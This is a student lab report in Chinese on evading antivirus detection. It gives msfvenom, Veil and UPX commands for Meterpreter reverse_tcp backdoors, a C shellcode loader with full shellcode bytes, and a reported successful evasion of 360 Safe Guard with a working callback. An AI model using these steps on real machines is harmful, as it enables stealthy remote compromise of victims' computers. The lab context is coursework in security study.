一、实验任务
（一）实验内容
1.1方法：
· 正确使用msf编码器
·msfvenom生成如jar之类的其他文件
·veil
·使用C + shellcode编程
·加壳工具
·使用其他课堂未介绍方法
1.2 通过组合应用各种技术实现恶意代码免杀
1.3 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
（二）基础知识
1.恶意检测机制
1.1基于特征码的检测
·简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。
·AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。（这里的AV（Anti-virus）指恶意软件检测工具，即我们常说的杀毒软件。）
1.2启发式恶意软件检测
·简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件 吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
·优点：
·可以检测0-day恶意软件
·具有一定通用性
·缺点：
·实时监控系统行为，开销稍多
·没有基于特征码的精确度高
1.3基于行为的而已软件检测
·最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。
2.免杀
定义：免杀就是让安插的后门不被AV软件发现。
实现方法：
（1）改变特征码
·如果你手里只有EXE
·加壳：压缩壳 加密壳
·有shellcode(像Meterpreter）
·用encode进行编码
·基于payload重新编译生成可执行文件
·有源代码
·用其他语言进行重写再编译（veil-evasion）
（2）改变行为
·通讯方式
·尽量使用反弹式连接
·使用隧道技术
·加密通讯数据
·操作模式
·基于内存操作
·减少对系统的修改
·加入混淆作用的正常功能代码
（3）非常规方法
·使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
·使用社工类攻击，诱骗目标关闭AV软件。
·纯手工打造一个恶意软件
二、实验步骤
1.正确使用msf编码器
生成一次编码的后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor_5315.exe
用VirusTotal检查一下，54/69，效果不佳。
那我们来试一下如果生成十次编码的后门程序会怎么样
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor_5315_2.exe
让我们来再次检测一下！好像并没有什么不同。。。？
2.msfvenom生成如jar之类的其他文件
换一种方式，生成jar形式的程序,命令如下：
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.218.128 lport=5315 x> backdoor_5315_java.jar
生成jsp文件命令如下：
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 x> backdoor_5315.jsp
生成php文件命令如下：
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.218.128 lport=5315 x> backdoor_5315.php
分别对三种文件进行检测，检测结果如下：
差距还是很明显的！
3.使用veil-evasion生成后门程序
这里要进行veil的安装，我碰到了很多的问题，最后经过百度以及询问碰到过相同问题的同学们，最后总结了一下成功的下载过程：
这里我通过5308杨元同学的指导，用的是中科大的源。
安装veil：sudo apt-get install veil 。我前几次安装没有成功，根据提示输入sudo apt-get install wine32然后重新安装，于是弹出以下页面。
点击next之后页面卡住了，过了好久就报错了，如下图，它说找不到WINE文件，提示运行/usr/share/veil/config/setup.sh --force --silent这句命令。
之后卡住了一段时间，看同学微博发现重新安装就好了，于是我开始重新安装。（输入sudo apt-get purge veil卸载veil，卸载成功后输入sudo apt-get install veil重新安装。）
提示：这里使用手机热点下载速度会快的多得多，之前走了很多弯路。后面就是安装过程，用默认值即可，不再赘述了。
安装完成veil后，进入veil。进入Veil后，输入use evasion进入Veil-Evasion；输入use c/meterpreter/rev_tcp.py进入配置界面；
设置反弹连接IP，输入set LHOST 192.168.218.128；设置端口，输入set LPORT 5315 ；
最后输入generate生成后门程序文件后并命名。
因为这一步花了我太多时间，所以来检测的时候还是十分兴奋的！
45/71，马马虎虎。
4.加壳工具
输入以下命令为文件加压缩壳：
upx backdoor_5315.exe -o backdoor_5315_upxed.exe
进行检测
应该是我操作的问题吧？好像并没有什么用啊。。。
5.使用C + shellcode编程
这是之前用过的方法，生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 -f -c
创建一个c文件，注入shellcode：
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x88" "\x68\x02\x00\x14\xc5\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
使用命令i686-w64-mingw32-g++ 5315cyy.c -o 5315cyy.exe生成可执行后门程序
又到了检测的时候，让我们看看新方法做出来是什么样的！
感觉差距并没有很大呀。
6.其他方法
换一种其他方法看看效果如何。
首先我们进入veil-evasion，输入list看看可用的payload。
这里选择第32个，大概是在python环境下用des算法处理病毒。
输入generate生成程序，并选择2：msfvenom
之后输入端口号、文件名等等
现在我们找到生成的py文件，进行激动人心的检测
1/59！！！！效果非常不错，nice！！！
7.通过组合应用各种技术实现恶意代码免杀
主机环境：win10 杀毒软件：360安全卫士
这里我对刚刚的py文件进行了加壳处理。
通过共享文件夹分享给了主机win10，进行病毒查杀
杀毒软件并没有发现它的存在
8.用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
主机环境：win7专业版 杀毒软件：360安全卫士
kali上将后门程序5315cyy发送到win7上
进入exploit开始监听，win7打开程序回连
kali成功获得win7的操控权，win7那边后门程序开启的情况下成功规避杀毒软件的检查。
三、回答问题
(1)杀软是如何检测出恶意代码的？
以我的理解分为两种：一是特征码检测，有些恶意代码的特征数据会和杀软自带的库匹配上，那么就被发现了。
二则是启发式检测，就好比我觉得你在干坏事儿，就开始进行杀毒处理，缺点就是容易一棒子打死。
(2)免杀是做什么？
免杀就是让本是会被杀软发现的恶意代码，经过特殊处理免于被杀。
(3)免杀的基本方法有哪些？
改变特征码（加壳、encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译）
改变行为（尽量使用反弹式连接、使用隧道技术、加密通讯数据；基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码）
非常规方法（使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中；使用社工类攻击，诱骗目标关闭AV软件；纯手工打造一个恶意软件）
(4)开启杀软能绝对防止电脑中恶意代码吗？
并不完全可以，经过这次实验，我们发现杀毒软件也是会被蒙蔽的。
四、实验体会与感想
总的来说，本次实验并不难，而且让人感觉挺有意思的，除了veil的下载花费了我一天的时间（心力交瘁）。最开心的就是自己通过这次实验可以弄出稍微像样的后门程序了。不过我非常清楚我的技术有限，还需要不断地学习。此外，本次实验也让我认识到杀毒软件的一些弊端吧，也不能完全指望靠杀毒软件杀毒，还是要自己多注意！